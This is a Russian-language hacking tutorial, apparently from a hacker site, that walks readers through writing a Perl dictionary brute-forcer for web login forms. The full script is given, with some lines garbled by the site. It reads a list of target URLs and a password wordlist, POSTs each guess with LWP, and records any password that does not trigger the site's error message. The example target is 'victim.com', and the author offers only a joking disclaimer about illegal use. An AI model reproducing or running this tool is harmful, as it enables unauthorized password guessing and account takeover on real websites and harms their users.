Приветствую читателей. Предполагается, что они знают азы языка Perl (это нужно хотя бы для того, чтобы привести скрипт, код которого дан ниже, в рабочее состояние (HackZona слегка коверкает код)) Вначале давайте разберемся: что такое брутфорс? Это атака, суть которой заключается в том, что атакующий подбирает пароль к чему-либо. Он делает это либо с помощью словаря (его описание см. ниже) либо по случайно составленным комбинациям. В ручную это не делается, особенно в последнее время, когда кроме стандартной тройки (Sex, God, Love) начали использовать другие пароли. В переводе с английского Bruteforce означает "грубая сила". Брутфорсом называют либо сам процесс перебора, либо программу, предназначенную для этого. Вот о втором мы сейчас и поговорим. В этой статье я хочу показать читателям как написать на Perl'е скрипт, предназначенный для брутфорса web-форм. Он будет работать только если удаленному скрипту должны быть переданы только два параметра: имя пользователя и пароль. При необходимоcти передать скрытые поля , цифры с картинки и т.д. брутфорс не будет работать. Еще один нюанс: параметры удаленному скрипту должны переданы методом POST; но с этим проблем возникнуть не должно, т.к. в основном в многих системах управления контентом (я говорю о грамотно написанных системах) имя пользователя и пароль передаются методом POST. Еще нам потребуется словарь паролей (можно взять на passwords.ru), он представляет из себя файл, на каждой строке которого записано какое-либо слово; при брутфорсе каждое слово будет использоваться в качестве пароля до тех пор, пока не будет достигнут результат или не закончатся слова в словаре. Также нам необходим файл, из которого наша программа будет получать информацию. Программа будет вести брутфорс всех скриптов указанных в файле. Информация об одном скрипте должна занимать одну строку, разделяться набором символов "" (без кавычек) и выглядеть так: URL_скрипта_обязательно_с_http://_в_началелогинназвание_переменной_ логинаназвание_переменной_паролясообщение_об_ошибке Сообщение об ошибке - это информация, которую выводит удаленный скрипт, в том случае, если пользователь ввел неправильный пароль. Еще нужен файл, в который будут записываться результаты. Итак, поехали. Предполагается, что читатель знает основы языка.
#/usr/bin/perl # это формальность # 5p4x2knet a.k.a. Apocalyptic's brutforcer for web-forms. # only for this article # это тоже :) if(@ARGV != 3) #если пользователь не указал параметры { die "use: script_name file_with_information file_with_passwords file_for_results for examle: brut.pl infa.txt paroli.txt results.txt file with passwords: one string = one pass file with information: one string = remote_script_urlloginlogin_post_variablepassword_post_variablefailed_message for examle: http://victim.com/index.phpbillgateslogin_varpass_varError!Incorrect pass."; #говорим, как надо делать и выходим } use LWP::UserAgent; #подключаем необходимый модуль open(INFA, "; close(INFA); #открываем файл с информацией(или говорим, что не можем его открыть и #выходим); скидываем файл в массив @info и закрываем. open(PASS, "; close(PASS); #то же самое с файлом паролей open(RESULTS, ">>$ARGV[2]"); #открываем файл для записи результатов (дозаписи в конец). Ранее мы #открывали файл для чтения foreach $name (@info) #начинаем цикл { ($url, $login, $log_vr, $pwd_vr, $failed) = split(//, $name); #разделяем URL, логин, переменные и сообщение об ошибке print "$url...n"; #выводим URL foreach $pss (@pass) { #делаем еще один цикл $pss =~ s/ //; $pss =~ s/n//; #убираем из пароля пробулы и переводы строки $usagent = LWP::UserAgent->new(); #новый объект $req = HTTP::Request->new(POST=>$url); $req->content_type('application/x-www-form-urlencoded'); $req->content("$log_vr=$login&$pwd_vr=$pss"); #создаем запрос. $result = $usagent -> request($req); #отправляем его $res = $result->content; #записываем результаты в переменную if($res!~ /$failed/i) { #если нет сообщения об ошибке print "password found. It isn$pssnn"; print RESULTS "URL: $urlnLOGIN: $loginnPASS: $pssnn"; last; #выводим сообщение с паролем; записываем все в файл с результатами; #в противном случае подбор продолжится } } } close(RESULTS); #закрываем файл с результатами Разумеется, я не несу ответственности за применение статьи в незаконных целях)) Вот, мы и написали брутфорсер для web-форм. Читатель может экспериментировать с ним, дополнять, изменять. Только не смешивай его с другими программами - это не UNIX-way =).